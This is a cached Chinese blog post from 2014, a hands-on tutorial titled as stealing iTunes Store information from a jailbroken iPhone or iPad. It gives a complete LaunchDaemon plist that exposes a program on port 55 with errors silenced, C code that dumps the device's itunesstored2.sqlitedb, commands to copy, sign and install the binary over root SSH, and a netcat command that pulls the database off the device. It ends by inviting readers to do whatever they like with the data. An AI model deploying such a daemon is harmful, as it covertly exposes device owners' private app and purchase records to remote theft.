后台Daemon窃取iTunes Store信息

2014-07-22 Xiaosong Gao 更多博文 » 博客 » GitHub »

Security

原文链接 https://gaoxiaosong.github.io/2014/07/22/daemon-itunes-store.html
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。


开机自启动

在Hack必备的命令与工具中,介绍了如何编译自己的C程序并手动启动。今天介绍如何使程序变为开机自启动。

1、首先打开Xcode创建一个plist属性文件,如下图所示:

PLIST-IMG

其中要注意一下通信服务名,我定为55。用编辑器打开,即为:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Program</key>
  <string>/usr/bin/ncdemo</string>
  <key>StandardErrorPath</key>
  <string>/dev/null</string>
  <key>SessionCreate</key>
  <true/>
  <key>ProgramArguments</key>
  <array>
    <string>/usr/bin/ncdemo</string>
  </array>
  <key>inetdCompatibility</key>
  <dict>
    <key>Wait</key>
    <false/>
  </dict>
  <key>Sockets</key>
  <dict>
    <key>Listeners</key>
    <dict>
      <key>SockServiceName</key>
      <string>55</string>
    </dict>
  </dict>
</dict>
</plist>

最后,将plist文件scp至root@192.168.1.114:/System/Library/LaunchDaemons/下。

编写读取iTunes Store数据库程序

读取itunesstored2.sqlitedb信息,并输出到stdout中,便于我们读取。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>

#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"

int main() {
  int fd = open(FILE, O_RDONLY);
  char buf[128];
  int ret = 0;
  if (fd < 0)
    return -1;
  while ((ret = read(fd, buf, sizeof(buf))) > 0) {
    write(fileno(stdout), buf, ret);
  }
  close(fd);
  return 0;
}

编译、拷贝、签名

1、编译方法上篇文章已经介绍清楚,这里不再重复,直接生成运行在ARM的ncdemo。

2、将ncdemo用scp到设备中,并登录。

$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114

3、签名

# ldid -S ncdemo
# mv ncdemo /usr/bin

抓取iTunes Store数据信息

这时,我们只需要利用netcat,指定之前定义的服务名称,轻松在本地抓取设备iTunes Store信息。

$ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析iTunes Store数据信息

好吧,这里就介绍个最简单的应用,利用strings命令查看:

$ strings itunesstored2.sqlitedb

于是乎,我们就清晰的得到了iPhone/iPad设备上都安装了哪些app:

APP-IMG

当然,除了这些,你想干什么都可以……夜深了,先写到这里吧……